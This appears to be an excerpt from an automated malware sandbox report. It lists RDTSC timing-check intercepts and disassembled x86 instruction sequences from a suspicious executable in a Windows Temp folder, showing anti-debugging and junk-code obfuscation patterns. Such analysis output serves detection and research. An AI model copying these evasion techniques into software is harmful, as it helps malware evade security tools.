Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC46CC second address: CC46DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jo 00007FC9F53C6A84h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC4990 second address: CC49A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FC9F53DFD56h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC4F3F second address: CC4F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC4F45 second address: CC4F49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC4F49 second address: CC4FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007FC9F53C6A81h 0x0000000f jmp 00007FC9F53C6A7Bh 0x00000014 xchg eax, ebx 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007FC9F53C6A78h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f pushad 0x00000030 mov dword ptr [ebp+122D1B7Bh], esi 0x00000036 push edi 0x00000037 jmp 00007FC9F53C6A84h 0x0000003c pop esi 0x0000003d popad 0x0000003e nop 0x0000003f push esi 0x00000040 jc 00007FC9F53C6A78h 0x00000046 pushad 0x00000047 popad 0x00000048 pop esi 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007FC9F53C6A80h 0x00000051 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC4FC2 second address: CC4FCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FC9F53DFD56h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC5599 second address: CC559D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC5A64 second address: CC5A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC5A68 second address: CC5A6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC5A6E second address: CC5A74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC635C second address: CC6362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC804E second address: CC80D5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FC9F53DFD61h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jne 00007FC9F53DFD64h 0x00000012 nop 0x00000013 jmp 00007FC9F53DFD64h 0x00000018 xor edi, dword ptr [ebp+122D364Bh] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007FC9F53DFD58h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 00000017h 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a jmp 00007FC9F53DFD5Ah 0x0000003f push 00000000h 0x00000041 mov si, cx 0x00000044 xchg eax, ebx 0x00000045 jbe 00007FC9F53DFD5Ah 0x0000004b push ebx 0x0000004c pushad 0x0000004d popad 0x0000004e pop ebx 0x0000004f push eax 0x00000050 pushad 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC970B second address: CC970F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC970F second address: CC9713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CCAD07 second address: CCAD1A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC9F53C6A78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CCD7E5 second address: CCD800 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD0955 second address: CD09AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FC9F53C6A78h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 push 00000000h 0x00000025 xor dword ptr [ebp+122D1991h], ebx 0x0000002b mov dword ptr [ebp+12458A75h], eax 0x00000031 push 00000000h 0x00000033 mov ebx, dword ptr [ebp+122D2CE6h] 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FC9F53C6A83h 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CCC888 second address: CCC88E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CCC969 second address: CCC96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CCDA5B second address: CCDA72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53DFD63h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CCDA72 second address: CCDA92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC9F53C6A84h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CCDA92 second address: CCDA9C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CCE928 second address: CCE92D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD1B03 second address: CD1B0D instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC9F53DFD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CCF9F6 second address: CCFA80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FC9F53C6A78h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 push dword ptr fs:[00000000h] 0x0000002a cld 0x0000002b mov ebx, 0023F7D2h 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007FC9F53C6A78h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 00000015h 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 0x00000051 mov ebx, dword ptr [ebp+122D3753h] 0x00000057 cld 0x00000058 mov eax, dword ptr [ebp+122D045Dh] 0x0000005e mov di, 8F34h 0x00000062 push FFFFFFFFh 0x00000064 jmp 00007FC9F53C6A86h 0x00000069 nop 0x0000006a push edi 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD0AAE second address: CD0ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD0ABC second address: CD0AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD0AC1 second address: CD0AC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD0AC7 second address: CD0B39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edi, dword ptr [ebp+124563FCh] 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov ebx, 1914DE86h 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 jg 00007FC9F53C6A7Ch 0x00000028 mov eax, dword ptr [ebp+122D009Dh] 0x0000002e mov di, 74E9h 0x00000032 push FFFFFFFFh 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007FC9F53C6A78h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e nop 0x0000004f jno 00007FC9F53C6A84h 0x00000055 push eax 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 push ecx 0x0000005a pop ecx 0x0000005b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD1C52 second address: CD1C82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC9F53DFD65h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD4AB8 second address: CD4AC2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC9F53C6A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD5B73 second address: CD5BE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC9F53DFD62h 0x0000000f nop 0x00000010 mov ebx, dword ptr [ebp+122D3667h] 0x00000016 push 00000000h 0x00000018 mov edi, dword ptr [ebp+122D2D18h] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007FC9F53DFD58h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a cmc 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FC9F53DFD65h 0x00000043 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD5BE3 second address: CD5BE8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD6BD7 second address: CD6C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007FC9F53DFD58h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 or dword ptr [ebp+12458794h], eax 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007FC9F53DFD58h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 00000016h 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 movzx ebx, di 0x00000046 push 00000000h 0x00000048 mov bl, DBh 0x0000004a xchg eax, esi 0x0000004b jmp 00007FC9F53DFD62h 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push ebx 0x00000054 push esi 0x00000055 pop esi 0x00000056 pop ebx 0x00000057 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD6C41 second address: CD6C47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD7B92 second address: CD7BA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD7BA9 second address: CD7C38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c jmp 00007FC9F53C6A7Bh 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 pop ecx 0x00000015 nop 0x00000016 add bx, 8962h 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FC9F53C6A78h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 00000017h 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 sub dword ptr [ebp+122D1F24h], eax 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push ebx 0x00000042 call 00007FC9F53C6A78h 0x00000047 pop ebx 0x00000048 mov dword ptr [esp+04h], ebx 0x0000004c add dword ptr [esp+04h], 00000017h 0x00000054 inc ebx 0x00000055 push ebx 0x00000056 ret 0x00000057 pop ebx 0x00000058 ret 0x00000059 mov dword ptr [ebp+122D1BF4h], ebx 0x0000005f xchg eax, esi 0x00000060 push ebx 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FC9F53C6A7Bh 0x00000068 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD8E25 second address: CD8E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD9DD6 second address: CD9DE8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC9F53C6A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007FC9F53C6A7Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CDBEE8 second address: CDBEEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CDBEEF second address: CDBF11 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FC9F53C6A88h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CDBF11 second address: CDBF45 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC9F53DFD56h 0x00000008 jmp 00007FC9F53DFD5Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 jmp 00007FC9F53DFD68h 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CDBF45 second address: CDBF64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A89h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CDBF64 second address: CDBF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CDC6FA second address: CDC6FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD6D86 second address: CD6D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CDFE15 second address: CDFE1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C8BA79 second address: C8BA8D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC9F53DFD5Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C8BA8D second address: C8BACB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A86h 0x00000007 jmp 00007FC9F53C6A87h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jl 00007FC9F53C6A76h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C8BACB second address: C8BADC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 je 00007FC9F53DFD56h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C8BADC second address: C8BAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD7DBA second address: CD7DF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC9F53DFD69h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD7DF1 second address: CD7E59 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC9F53C6A87h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov ebx, 390A91FFh 0x00000010 push dword ptr fs:[00000000h] 0x00000017 and di, F7DCh 0x0000001c movsx edi, dx 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push eax 0x00000027 clc 0x00000028 pop edi 0x00000029 mov eax, dword ptr [ebp+122D0081h] 0x0000002f movsx edi, si 0x00000032 push FFFFFFFFh 0x00000034 mov edi, dword ptr [ebp+122D35C3h] 0x0000003a and edi, 7F268BD7h 0x00000040 nop 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FC9F53C6A84h 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD7E59 second address: CD7E6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a js 00007FC9F53DFD5Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD7E6B second address: CD7E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnc 00007FC9F53C6A76h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD9F64 second address: CD9F8A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC9F53DFD5Ch 0x00000008 jno 00007FC9F53DFD56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FC9F53DFD63h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CD9F8A second address: CD9F8F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CDA02F second address: CDA039 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FC9F53DFD56h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CDA039 second address: CDA04C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FC9F53C6A76h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CDA04C second address: CDA056 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC9F53DFD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CDC8BB second address: CDC8BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C7C5CC second address: C7C5D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C7C5D6 second address: C7C5DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CE9823 second address: CE9827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C7E085 second address: C7E0A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FC9F53C6A84h 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CEEFD1 second address: CEF00D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC9F53DFD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FC9F53DFD5Ah 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 pushad 0x00000018 push esi 0x00000019 pop esi 0x0000001a push esi 0x0000001b pop esi 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FC9F53DFD68h 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CF37D5 second address: CF380A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC9F53C6A86h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC9F53C6A7Eh 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CF4128 second address: CF412C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
